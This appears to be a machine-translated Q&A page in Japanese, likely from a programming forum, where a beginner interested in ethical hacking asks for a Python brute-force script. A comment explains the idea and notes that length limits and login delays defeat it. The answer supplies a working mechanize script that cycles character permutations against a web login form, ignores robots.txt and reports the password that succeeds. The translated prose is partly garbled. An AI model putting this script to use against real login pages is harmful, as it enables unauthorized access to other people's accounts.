2016-08-22 12 views
-6

私はPython 3 brute forceスクリプトを書くのに助けが必要です。私は最近、自分自身でPythonを教え始めました。また、いくつかの倫理的なハッキングコースを取りたいと思っていました。私誰もがPythonの3のブルートフォーススクリプトを作成する方法を知っている場合だけありがとう聞きしたかった:)Python bruteforceスクリプト

+1

これらのスクリプトを試してみてください私の提案ですより多くのPythonを最初に学ぶことができます。ブルートフォース攻撃は、何かのすべての可能な組み合わせを試みることに過ぎない。たとえば、3桁のパスワードを検索する場合は、000、次に001、次に002などを999に設定します。十分な基本プログラミングを学ぶと、それを実行できます。パスワードの長さとログインの遅延の最小値は、ブルートフォースを非実用的にする上で非常に優れています。 –

答えて

0

であることは

#!/usr/bin/python 
import mechanize 
import itertools 

br = mechanize.Browser() 
br.set_handle_equiv(True) 
br.set_handle_redirect(True) 
br.set_handle_referer(True) 
br.set_handle_robots(False) 

combos = itertools.permutations("i3^4hUP-",8) 
br.open("http://www.example.com/login/") 
for x in combos:  
    br.select_form(nr = 0) 
    br.form['userName'] = "user name" 
    br.form['password'] = ''.join(x) 
    print "Checking ",br.form['password'] 
    response=br.submit() 
    if response.geturl()=="http://www.example.com/redirected_to_url": 
     #url to which the page is redirected after login 
     print "Correct password is ",''.join(x) 
     break 
1

for loopはかなり良いブルートフォーススクリプト